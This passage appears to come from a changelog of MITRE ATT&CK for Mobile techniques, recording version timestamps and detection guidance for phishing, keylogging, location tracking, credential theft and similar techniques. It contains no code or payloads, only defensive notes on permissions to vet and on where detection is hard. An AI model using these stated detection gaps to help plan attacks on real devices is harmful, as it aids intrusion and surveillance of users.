attractive target for adversaries executing phishing campaigns. Due to their smaller form factor than traditional desktop endpoints, users may not be able to notice minor differences between genuine and phishing websites. Further, mobile devices have additional sensors and radios that allow adversaries to execute phishing attempts over several different vectors, such as: + +- SMS messages: Adversaries may send SMS messages (known as “smishing”) from compromised devices to potential targets to convince the target to, for example, install malware, navigate to a specific website, or enable certain insecure configurations on their device. +- Quick Response (QR) Codes: Adversaries may use QR codes (known as “quishing”) to redirect users to a phishing website. For example, an adversary could replace a legitimate public QR Code with one that leads to a different destination, such as a phishing website. A malicious QR code could also be delivered via other means, such as SMS or email. In the latter case, an adversary could utilize a malicious QR code in an email to pivot from the user’s desktop computer to their mobile device. +- Phone Calls: Adversaries may call victims (known as “vishing”) to persuade them to perform an action, such as providing login credentials or navigating to a malicious website. This could also be used as a technique to perform the initial access on a mobile device, but then pivot to a computer/other network by having the victim perform an action on a desktop computer. +
x_mitre_version1.01.1
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_contributorsLookout
Patches

[T1626] Abuse Elevation Control Mechanism

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:43.814000+00:002025-10-24 17:48:21.493000+00:00
x_mitre_detectionWhen an application requests administrator permission, users are presented with a popup and the option to grant or deny the request. Application vetting services can detect when an application requests administrator permission. Extra scrutiny could be applied to applications that do

[T1517] Access Notifications

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:48.448000+00:002025-10-24 17:48:40.140000+00:00
x_mitre_detectionApplication vetting services can look for applications requesting the `BIND_NOTIFICATION_LISTENER_SERVICE` permission in a service declaration. Users can also inspect and modify the list of applications that have notification access through the device settings (e.g. Apps & notification -> Special app access -> Notification access).

[T1640] Account Access Removal

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:57.695000+00:002025-10-24 17:49:31.052000+00:00
x_mitre_detectionApplication vetting services could closely scrutinize applications that request Device Administrator permissions.

[T1638] Adversary-in-the-Middle

Current version: 2.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2024-02-07 18:10:46.887000+00:002025-10-24 17:48:21.401000+00:00
x_mitre_detectionApplication vetting services should look for applications that request VPN access. These applications should be heavily scrutinized since VPN functionality is not very common. Mobile security products can potentially detect rogue Wi-Fi access points if the adversary is attempting to decrypt traffic using an untrusted SSL certificate. + + + +On both Android and iOS, users must grant consent to an application to act as a VPN. Both platforms also provide visual context to the user in the top status bar when a VPN connection is active. Users can see registered VPN services in the device settings.

[T1437] Application Layer Protocol

Current version: 1.2

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:50.479000+00:002025-10-24 17:48:54.576000+00:00
x_mitre_detectionAbuse of standard application protocols can be difficult to detect as many legitimate mobile applications leverage such protocols for language-specific APIs. Enterprises may be better served focusing on detection at other stages of adversarial behavior.

[T1532] Archive Collected Data

Current version: 2.0

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:57.990000+00:002025-10-24 17:49:31.761000+00:00
x_mitre_detectionMany encryption mechanisms are built into standard application-accessible APIs and are therefore undetectable to the end user.

[T1521.002] Encrypted Channel: Asymmetric Cryptography

Current version: 1.0

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:44.987000+00:002025-10-24 17:48:26.898000+00:00
x_mitre_detectionSince data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is regarded as undetectable to the user.

[T1429] Audio Capture

Current version: 3.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:49.937000+00:002025-10-24 17:48:52.833000+00:00
x_mitre_detectionIn iOS 14 and up, an orange dot (or orange square if the Differentiate Without Color setting is enabled) appears in the status bar when the microphone is being used by an application. However, there have been demonstrations indicating it may still be possible to access the microphone in the background without triggering this visual indicator by abusing features that natively access the microphone or camera but do not trigger the visual indicators.(Citation: iOS Mic Spyware) + + +In Android 12 and up, a green dot appears in the status bar when the microphone is being used by an application.(Citation: Android Privacy Indicators) + + +Android applications using the `RECORD_AUDIO` permission and iOS applications using `RequestRecordPermission` should be carefully reviewed and monitored. If the `CAPTURE_AUDIO_OUTPUT` permission is found in a third-party Android application, the application should be heavily scrutinized. + + + +In both Android (6.0 and up) and iOS, users can review which applications have the permission to access the microphone through the device settings screen and revoke permissions as necessary.

[T1481.002] Web Service: Bidirectional Communication

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:51.825000+00:002025-10-24 17:49:06.929000+00:00
x_mitre_detectionApplication vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application.

[T1398] Boot or Logon Initialization Scripts

Current version: 2.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:48.836000+00:002025-10-24 17:48:43.758000+00:00
x_mitre_detectionOn Android, Verified Boot can detect unauthorized modifications to the system partition.(Citation: Android-VerifiedBoot) Android's SafetyNet API provides remote attestation capabilities, which could potentially be used to identify and respond to compromise devices. Samsung Knox provides a similar remote attestation capability on supported Samsung devices.

[T1624.001] Event Triggered Execution: Broadcast Receivers

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:48.286000+00:002025-10-24 17:48:39.155000+00:00
x_mitre_detectionApplication vetting services can detect which broadcast intents an application registers for and which permissions it requests.

[T1636.001] Protected User Data: Calendar Entries

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:53.420000+00:002025-10-24 17:49:12.650000+00:00
x_mitre_detectionOn both Android and iOS, the user can manage which applications have permission to access calendar information through the device settings screen, revoke the permission if necessary. Application vetting services could look for `android.permission.READ_CALENDAR` or `android.permission.WRITE_CALENDAR` in an Android application’s manifest, or `NSCalendarsUsageDescription` in an iOS application’s `Info.plist` file. Most applications do not need calendar access, so extra scrutiny could be applied to those that request it.

[T1616] Call Control

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:47.962000+00:002025-10-24 17:48:38.183000+00:00
x_mitre_detectionUsers can view their default phone app in device settings. Users can review available call logs for irregularities, such as missing or unrecognized calls.

[T1636.002] Protected User Data: Call Log

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:45.503000+00:002025-10-24 17:48:29.311000+00:00
x_mitre_detectionOn Android, the user can manage which applications have permission to access the call log through the device settings screen, revoking the permission if necessary. Application vetting services could look for `android.permission.READ_CALL_LOG` in an Android application’s manifest. Most applications do not need call log access, so extra scrutiny could be applied to those that request it.

[T1414] Clipboard Data

Current version: 3.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2024-09-12 15:17:00.569000+00:002025-10-24 17:49:21.369000+00:00
x_mitre_detectionApplication vetting services could detect usage of standard clipboard APIs.

[T1632.001] Subvert Trust Controls: Code Signing Policy Modification

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:59.231000+00:002025-10-24 17:49:39.422000+00:00
x_mitre_detectionOn Android, the user can use the device settings menu to view trusted CA certificates and look for unexpected or unknown certificates. A mobile security product could similarly examine the trusted CA certificate store for anomalies. Users can use the device settings menu to view which applications on the device are allowed to install unknown applications. + +On iOS, the user can use the device settings menu to view installed Configuration Profiles and look for unexpected or unknown profiles. A Mobile Device Management (MDM) system could use the iOS MDM APIs to examine the list of installed Configuration Profiles for anomalies.

[T1623] Command and Scripting Interpreter

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:46.879000+00:002025-10-24 17:48:33.677000+00:00
x_mitre_detectionCommand-line activities can potentially be detected through Mobile Threat Defense integrations with lower-level OS APIs. This could grant the MTD agents access to running processes and their parameters, potentially detecting unwanted or malicious shells. + +Application vetting services could detect the invocations of methods that could be used to execute shell commands.(Citation: Samsung Knox Mobile Threat Defense)

[T1577] Compromise Application Executable

Current version: 1.0

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 15:16:40.355000+00:002025-10-24 17:49:26.629000+00:00
x_mitre_detectionThis behavior is seamless to the user and is typically undetectable.

[T1645] Compromise Client Software Binary

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:49.029000+00:002025-10-24 17:48:45.611000+00:00
x_mitre_detectionVerified Boot can detect unauthorized modifications to the system partition.(Citation: Android-VerifiedBoot) Android’s SafetyNet API provides remote attestation capabilities, which could potentially be used to identify and respond to compromised devices. Samsung Knox provides a similar remote attestation capability on supported Samsung devices. Application vetting services could detect applications trying to modify files in protected parts of the operating system.

[T1474.002] Supply Chain Compromise: Compromise Hardware Supply Chain

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:54.553000+00:002025-10-24 17:49:19.406000+00:00
x_mitre_detectionIntegrity checking mechanisms can potentially detect unauthorized hardware modifications.

[T1474.001] Supply Chain Compromise: Compromise Software Dependencies and Development Tools

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2024-11-17 13:32:52.030000+00:002025-10-24 17:48:58.857000+00:00
x_mitre_detectionUsage of insecure or malicious third-party libraries could be detected by application vetting services. Malicious software development tools could be detected by enterprises that deploy endpoint protection software on computers that are used to develop mobile apps. Application vetting could detect the usage of insecure or malicious third-party libraries.

[T1474.003] Supply Chain Compromise: Compromise Software Supply Chain

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:52.139000+00:002025-10-24 17:49:07.487000+00:00
x_mitre_detectionApplication vetting services can detect malicious code in applications. System partition integrity checking mechanisms can detect unauthorized or malicious code contained in the system partition.

[T1636.003] Protected User Data: Contact List

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:57.342000+00:002025-10-24 17:49:30.430000+00:00
x_mitre_detectionOn both Android and iOS, the user can manage which applications have permission to access the contact list through the device settings screen, revoking the permission if necessary. Application vetting services could look for `android.permission.READ_CONTACTS` in an Android application’s manifest, or `NSContactsUsageDescription` in an iOS application’s `Info.plist` file. Most applications do not need contact list access, so extra scrutiny could be applied to those that request it.

[T1634] Credentials from Password Store

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:55.358000+00:002025-10-24 17:49:23.749000+00:00
x_mitre_detectionMobile security products can potentially detect jailbroken devices. Application vetting services may be able to detect known privilege escalation exploits contained within applications, as well as searching application packages for strings that correlate to known password store locations.

[T1471] Data Encrypted for Impact

Current version: 3.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:57.034000+00:002025-10-24 17:49:28.514000+00:00
x_mitre_detectionApplication vetting services may be able to detect if an application attempts to encrypt files, although this may be benign behavior.

[T1641] Data Manipulation

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:54.742000+00:002025-10-24 17:49:21.564000+00:00
x_mitre_detectionApplication vetting services could look for use of standard APIs (e.g. the clipboard API) that could indicate data manipulation is occurring.

[T1533] Data from Local System

Current version: 1.1

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:57.505000+00:002025-10-24 17:49:30.706000+00:00
x_mitre_detectionAccessing data from the local system can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.

[T1481.001] Web Service: Dead Drop Resolver

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:52.296000+00:002025-10-24 17:49:07.948000+00:00
x_mitre_detectionApplication vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application.

[T1626.001] Abuse Elevation Control Mechanism: Device Administrator Permissions

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:52.648000+00:002025-10-24 17:49:08.587000+00:00
x_mitre_detectionUsers are prompted for approval when an application requests device administrator permissions. Users can see which applications are registered as device administrators in the device settings. Application vetting services can check for the string `BIND_DEVICE_ADMIN` in the application’s manifest. This indicates it can prompt the user for device administrator permissions.

[T1629.002] Impair Defenses: Device Lockout

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:53.782000+00:002025-10-24 17:49:13.285000+00:00
x_mitre_detectionUsers can view a list of device administrators in device settings and revoke permission where appropriate. Applications that request device administrator permissions should be scrutinized further for malicious behavior.

[T1629.003] Impair Defenses: Disable or Modify Tools

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:47.026000+00:002025-10-24 17:48:33.763000+00:00
x_mitre_detectionUsers can view a list of active device administrators in the device settings.

[T1630.003] Indicator Removal on Host: Disguise Root/Jailbreak Indicators

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:53.262000+00:002025-10-24 17:49:12.130000+00:00
x_mitre_detectionMobile security products can use attestation to detect compromised devices.

[T1637.001] Dynamic Resolution: Domain Generation Algorithms

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:59.384000+00:002025-10-24 17:49:39.530000+00:00
x_mitre_detectionDetecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There are a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, a more general approach for detecting a suspicious domain is to check for recently registered names

[T1407] Download New Code at Runtime

Current version: 1.5

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:50.660000+00:002025-10-24 17:48:55.445000+00:00
x_mitre_detectionExisting network infrastructure may detect network calls to known malicious domains or the transfer of malicious payloads over the network. Mobile security products may provide URL inspection services that could determine if a domain being visited is malicious. Application vetting services could look for indications that the application downloads and executes new code at runtime (e.g., on Android, use of `DexClassLoader`, `System.load`, or the WebView `JavaScriptInterface` capability; on iOS, use of JSPatch or similar capabilities). Unfortunately, this is only a partial mitigation, as additional scrutiny would still need to be applied to applications that use these techniques. These techniques are often used without malicious intent, and applications may employ other techniques to hide their use of these techniques.

[T1456] Drive-By Compromise

Current version: 2.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:59.531000+00:002025-10-24 17:49:39.614000+00:00
x_mitre_detectionMobile security products can often alert the user if their device is vulnerable to known exploits.

[T1637] Dynamic Resolution

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:47.329000+00:002025-10-24 17:48:34.706000+00:00
x_mitre_detectionDetecting dynamically generated domains can be challenging due to the number of different Domain Generation Algorithms (DGAs), constantly evolving malware families, and the increasing complexity of the algorithms. There are a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) Content delivery network (CDN) domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, a more general approach for detecting a suspicious domain is to check for recently registered names or rarely visited domains.

[T1521] Encrypted Channel

Current version: 2.0

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:58.602000+00:002025-10-24 17:49:34.332000+00:00
x_mitre_detectionSince data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is regarded as undetectable to the user.

[T1642] Endpoint Denial of Service

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:58.297000+00:002025-10-24 17:49:33.803000+00:00
x_mitre_detectionOn Android, users can review which applications have Device Administrator access in the device settings and revoke permission where appropriate. Application vetting services can detect and closely scrutinize applications that utilize Device Administrator access.

[T1624] Event Triggered Execution

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:56.521000+00:002025-10-24 17:49:26.888000+00:00
x_mitre_detectionApplication vetting services can detect which broadcast intents an application registers for and which permissions it requests.

[T1627] Execution Guardrails

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2024-11-17 18:31:54.804000+00:002025-10-24 17:48:44.210000+00:00
x_mitre_detectionDetecting the use of guardrails may be difficult depending on the implementation. Users can review which applications have location and sensitive phone information permissions in the operating system’s settings menu. Application vetting services can detect unnecessary and potentially permissions or API calls.

[T1639] Exfiltration Over Alternative Protocol

Current version: 1.1

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:48.656000+00:002025-10-24 17:48:41.491000+00:00
x_mitre_detection[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1639)s can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.

[T1646] Exfiltration Over C2 Channel

Current version: 1.1

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:47.650000+00:002025-10-24 17:48:36.720000+00:00
x_mitre_detection[Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1646) can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.

[T1639.001] Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol

Current version: 1.1

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:48.130000+00:002025-10-24 17:48:38.977000+00:00
x_mitre_detection[Exfiltration Over Unencrypted Non-C2 Protocol](https://attack.mitre.org/techniques/T1639/001)s can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.

[T1404] Exploitation for Privilege Escalation

Current version: 2.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:47.809000+00:002025-10-24 17:48:38.088000+00:00
x_mitre_detectionMobile security products can potentially utilize device APIs to determine if a device has been rooted or jailbroken. Application vetting services could potentially determine if an application contains code designed to exploit vulnerabilities.

[T1428] Exploitation of Remote Services

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:46.157000+00:002025-10-24 17:48:31.144000+00:00
x_mitre_detectionDetecting software exploitation initiated by a mobile device may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. + +Network traffic analysis could reveal patterns of compromise if devices attempt to access unusual targets or resources. + +Application vetting may be able to identify applications that perform Discovery or utilize existing connectivity to remotely access hosts within an internal enterprise network.

[T1630.002] Indicator Removal on Host: File Deletion

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:53.593000+00:002025-10-24 17:49:12.849000+00:00
x_mitre_detectionMobile security products can detect which applications can request device administrator permissions. Users can view applications with administrator access through the device settings, and may also notice if user data is inexplicably missing. Application vetting services could be extra scrutinous of applications that request device administrator permissions.

[T1420] File and Directory Discovery

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:55.729000+00:002025-10-24 17:49:24.899000+00:00
x_mitre_detectionOn Android, users are presented with a permissions popup when an application requests access to external device storage.

[T1541] Foreground Persistence

Current version: 2.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:49.743000+00:002025-10-24 17:48:52.197000+00:00
x_mitre_detectionUsers can see persistent notifications in their notification drawer and can subsequently uninstall applications that do not belong. Applications could be vetted for their use of the `startForeground()` API, and could be further scrutinized if usage is found.

[T1417.002] Input Capture: GUI Input Capture

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2024-11-17 18:58:58.592000+00:002025-10-24 17:48:45.045000+00:00
x_mitre_detectionAndroid users can view and manage which applications hold the `SYSTEM_ALERT_WINDOW` permission through the device settings in Apps & notifications -> Special app access -> Display over other apps (the exact menu location may vary between Android versions). + +Application vetting services can look for applications requesting the `android.permission.SYSTEM_ALERT_WINDOW` permission in the list of permissions in the app manifest.

[T1643] Generate Traffic from Victim

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:53.113000+00:002025-10-24 17:49:12.043000+00:00
x_mitre_detectionOn Android, users can review which applications can use premium SMS features in the “Special access” page within application settings. Application vetting services can detect when applications request the `SEND_SMS` permission, which should be infrequently used.

[T1627.001] Execution Guardrails: Geofencing

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:58.143000+00:002025-10-24 17:49:31.935000+00:00
x_mitre_detectionUsers can review which applications have location permissions in the operating system’s settings menu. On Android 10 and later, the system shows a notification to the user when an app has been accessing device location in the background. Application vetting services can detect unnecessary and potentially abused location permissions or API calls.

[T1628] Hide Artifacts

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:59.084000+00:002025-10-24 17:49:39.161000+00:00
x_mitre_detectionThe user can examine the list of all installed applications in the device settings. Application vetting services could potentially detect the usage of APIs intended for artifact hiding.

[T1625] Hijack Execution Flow

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:50.121000+00:002025-10-24 17:48:53.101000+00:00
x_mitre_detectionMobile threat defense agents could detect unauthorized operating system modifications by using attestation.

[T1617] Hooking

Current version: 1.0

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 15:16:39.824000+00:002025-10-24 17:49:24.183000+00:00
x_mitre_detectionHooking can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.

[T1629] Impair Defenses

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:45.996000+00:002025-10-24 17:48:30.589000+00:00
x_mitre_detectionMobile security products integrated with Samsung Knox for Mobile Threat Defense can monitor processes to see if security tools are killed or stop running. Application vetting can detect many techniques associated with impairing device defenses.(Citation: Samsung Knox Mobile Threat Defense)

[T1430.002] Location Tracking: Impersonate SS7 Nodes

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-01-21 16:22:43.947000+00:002025-10-24 17:48:24.309000+00:00
x_mitre_detectionNetwork carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation.(Citation: CSRIC-WG1-FinalReport) The CSRIC also suggests threat information sharing between telecommunications industry members.

[T1630] Indicator Removal on Host

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:44.391000+00:002025-10-24 17:48:23.556000+00:00
x_mitre_detectionMobile security products can detect which applications can request device administrator permissions. Users can view applications with administrator access through the device settings, and may also notice if user data is inexplicably missing. Users can see a list of applications that can use accessibility services in the device settings. Application vetting services could look for use of APIs that could indicate the application is trying to hide activity.

[T1544] Ingress Tool Transfer

Current version: 2.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:47.175000+00:002025-10-24 17:48:34.355000+00:00
x_mitre_detectionApplication vetting services could look for connections to unknown domains or IP addresses. Application vetting services may indicate precisely what content was requested during application execution.

[T1417] Input Capture

Current version: 2.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:52.964000+00:002025-10-24 17:49:11.864000+00:00
x_mitre_detectionApplication vetting services can look for applications requesting the permissions granting access to accessibility services or application overlay. Users can view and manage installed third-party keyboards.

[T1516] Input Injection

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:56.042000+00:002025-10-24 17:49:25.635000+00:00
x_mitre_detectionUsers can view applications that have registered accessibility services in the accessibility menu within the device settings.

[T1634.001] Credentials from Password Store: Keychain

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:51.670000+00:002025-10-24 17:49:03.949000+00:00
x_mitre_detectionMobile security products can potentially detect jailbroken devices. Application vetting services may be able to detect known privilege escalation exploits contained within applications, as well as searching application packages for strings that correlate to known password store locations.

[T1417.001] Input Capture: Keylogging

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:53.936000+00:002025-10-24 17:49:14.276000+00:00
x_mitre_detectionOn Android, users can view and manage which applications have third-party keyboard access through the device settings in System -> Languages & input -> Virtual keyboard. On iOS, users can view and manage which applications have third-party keyboard access through the device settings in General -> Keyboard. + +Application vetting services can look for applications requesting the `android.permission.BIND_ACCESSIBILITY_SERVICE` permission in a service declaration. On Android, users can view and manage which applications can use accessibility services through the device settings in Accessibility. The exact device settings menu locations may vary between operating system versions.

[T1430] Location Tracking

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:52.460000+00:002025-10-24 17:49:08.214000+00:00
x_mitre_detectionAndroid applications requesting the `ACCESS_COARSE_LOCATION`, `ACCESS_FINE_LOCATION`, or `ACCESS_BACKGROUND_LOCATION` permissions and iOS applications including the `NSLocationWhenInUseUsageDescription`, `NSLocationAlwaysAndWhenInUseUsageDescription`, and/or `NSLocationAlwaysUsageDescription` keys in their `Info.plist` file could be scrutinized during the application vetting process. + + + +In both Android (6.0 and up) and iOS, users can view which applications have the permission to access the device location through the device settings screen and revoke permissions as necessary.

[T1461] Lockscreen Bypass

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2023-10-16 16:23:05.146000+00:002025-10-24 17:49:29.764000+00:00
x_mitre_detectionUsers can see if someone is watching them type in their device passcode.

[T1655] Masquerading

Current version: 1.0

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:21:58.771000+00:002025-10-24 17:49:38.098000+00:00
x_mitre_detection +

[T1575] Native API

Current version: 2.0

